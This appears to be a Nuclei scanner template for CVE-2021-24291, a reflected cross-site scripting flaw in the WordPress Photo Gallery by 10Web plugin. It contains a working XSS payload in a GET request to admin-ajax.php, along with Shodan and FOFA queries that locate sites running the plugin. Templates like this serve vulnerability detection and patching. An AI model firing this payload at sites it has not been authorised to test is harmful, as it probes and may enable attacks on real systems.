id: CVE-2021-24291

info:
  name: WordPress Photo Gallery by 10Web <1.5.69 - Cross-Site Scripting
  author: geeknik
  severity: medium
  description: |
    WordPress Photo Gallery by 10Web plugin before 1.5.69 contains multiple reflected cross-site scripting vulnerabilities via the gallery_id, tag, album_id and theme_id GET parameters passed to the bwg_frontend_data AJAX action, available to both unauthenticated and authenticated users.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update WordPress Photo Gallery by 10Web to version 1.5.69 or later to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/cfb982b2-8b6d-4345-b3ab-3d2b130b873a
    - https://packetstormsecurity.com/files/162227/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24291
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24291
    cwe-id: CWE-79
    epss-score: 0.14622
    epss-percentile: 0.94565
    cpe: cpe:2.3:a:10web:photo_gallery:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: 10web
    product: photo_gallery
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/photo-gallery
    fofa-query: body=/wp-content/plugins/photo-gallery
    publicwww-query: /wp-content/plugins/photo-gallery
  tags: cve2021,cve,photo,wpscan,packetstorm,xss,wordpress,wp-plugin,10web,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-admin/admin-ajax.php?action=bwg_frontend_data&shortcode_id=1"%20onmouseover=alert(document.domain)//'

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "text/html"

      - type: word
        words:
          - "onmouseover=alert(document.domain)//"
          - "wp-content/uploads/photo-gallery"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a004630440220185b13b27e7f8430b6d59823e5cac1c6fd35dfc3be0c582d2436744eadb4ff23022044bcf33e046ca9d813df969ac1a5345c03e08c3fdeabdb998118aa912340d40e:922c64590222798bb761d5b6d8e72950